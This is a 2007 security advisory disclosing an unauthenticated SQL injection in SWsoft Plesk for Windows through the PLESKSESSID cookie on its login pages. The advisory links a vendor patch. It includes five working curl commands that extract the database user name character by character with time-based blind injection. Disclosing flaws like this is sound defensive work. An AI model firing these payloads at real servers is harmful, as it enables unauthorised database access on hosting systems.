HackerSafe Labs - Security Advisory
http://www.hackersafelabs.com
=20
SWsoft Plesk for Windows - SQL Injection Vulnerability
Date: 9-11-07
Vendor: www.swsoft.com
Package: Plesk for Windows
Versions: v7.6.1, v8.1.0, v8.1.1, v8.2.0
Vendor Demo: https://plesk8.1win.demo.swsoft.com:8443/login.php3
Credit: Nick I Merritt
Risk:
Related Exploit Range: Remote
Attack Complexity: Medium
Level of Authentication Needed: Not Required=20
Confidentiality Impact: Major
Integrity Impact: Major
Availability Impact: Major
Overview:
SWsoft Plesk is a comprehensive control panel solution used by leading
hosting providers worldwide for shared, virtual and dedicated hosting.=20
Vulnerability:
A SQL injection vulnerability exists in the Plesk application. Please
see the following:
SQL Injection Page 1: "login.php3"
SQL Injection Page 2: "auth.php3"
SQL Injection Cookie Parameter: "PLESKSESSID"
Example: (Will extract the database user)
1) Delay=3D5224.3877=20
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=3D1' union select if
(substring(user,1,1)=3Dchar(97),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3=
from mysql.user/*"
2) Delay=3D5165.3031=20
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=3D1' union select if
(substring(user,2,1)=3Dchar(100),BENCHMARK(3000000,MD5(CHAR(1))),null),2,=
3
from mysql.user/*"
3) Delay=3D5158.9512=20
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=3D1' union select if
(substring(user,3,1)=3Dchar(109),BENCHMARK(3000000,MD5(CHAR(1))),null),2,=
3
from mysql.user/*"
4) Delay=3D5224.0980=20
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=3D1' union select if
(substring(user,4,1)=3Dchar(105),BENCHMARK(3000000,MD5(CHAR(1))),null),2,=
3
from mysql.user/*"
5) Delay=3D5241.5251=20
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=3D1' union select if
(substring(user,5,1)=3Dchar(110),BENCHMARK(3000000,MD5(CHAR(1))),null),2,=
3
from mysql.user/*"
=20
Solution: Apply the following patches - http://kb.swsoft.com/en/2159